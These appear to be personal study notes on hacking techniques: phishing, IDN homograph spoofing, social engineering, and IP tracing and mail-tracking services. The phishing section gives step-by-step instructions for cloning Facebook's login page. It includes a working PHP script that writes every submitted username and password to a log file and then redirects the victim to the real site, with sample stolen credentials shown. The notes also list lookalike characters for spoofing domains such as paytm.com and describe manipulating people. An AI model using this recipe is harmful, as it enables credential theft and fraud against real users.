Phishing
--------
Similar to fishing
Where we create a fake page or a fake website, which exactly looks like the authorised and authenticated website. It means my target never knows that he/she is being hacked by hackers.


 Create a Phishhing Page
 -----------------------
 Step 1 - Open the website for whose page you want to create
 Step 2 - Right click ----> View source code
 Step 3 - Copy the whole Source Code
 Step 4 - Paste the copied source code in notepad
 Step 5 - find "action=" --> you will get this link https://www.facebook.com/login.php?login_attempt=1&lwv=110
 Step 6 - Delete the link and instead type post.php
 Step 7 - Save as ---> index.html
 Step 8 - We will create a .php file with the name of post.php which will store the username and password of the target.
 Step 9 - We will save both files that is index.html and post.php file on the server and send the link to others. --> C:\\xampp\htdocs



========
post.php
========

<?php
header ('Location: http://www.facebook.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value)
{
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>






<?php ---> which says i am a php code snippet/file

header ('Location: http://www.facebook.com');
	---> after saving the data, user will redirect to the particular website --> http://www.facebook.com
$handle = fopen("log.txt", "a");
		--> To create a file, which stores username and password
foreach($_POST as $variable => $value) --> for loop for getting each and every data from the form
{

   fwrite($handle, $variable); --> will create "username"

   fwrite($handle, "=");
   							username=

   fwrite($handle, $value);
   							actual username
   fwrite($handle, "\r\n");
   				new line
}

fwrite($handle, "\r\n");

fclose($handle);
			to close log.txt file
exit;
		to exit the php file and redirect  to location above
?>


There are 3 main attributes
	1. read --> r
	2. write --> w
	3. append --> a


username=abhijeet@gmail.com
password=MyPassword

IDN Homographic Attack
----------------------
There are so many countries and they have so many languages.... But in many languages, they have some characters which are similar to english alphabets.
We replace these similar english alphabets with maching alphabets of different language character.

crylic --> а, с, е, о, р, х and у
english -> a, c, e, o, p, x and y


cyrilic --> dеерikа раdukоnе
english --> deepika padukone


ASCII --> American Standard Code For Information Interchange


www.paytm.com
ｗｗｗ．Ｐａｙｔⅿ․ⅽＯⅿ


Social Engineering
------------------
Hacking without coding ----> We learn to hack into human minds and we manipulate them to do our dirty works.


Temp-mail.org

PGP --> Prety Good Privacy
---------------------------

Tracing and Tracking
--------------------
Tracing ---> From where the thing is coming
	grabify.com --> as the task
	http://www.fuglekos.com/ip-grabber/index.html

http://www.fuglekos.com/profile/img/2017-11-15/goku.jpg

Tracking
--------
to check who are receiving/reading my send mails.
whoreadme.com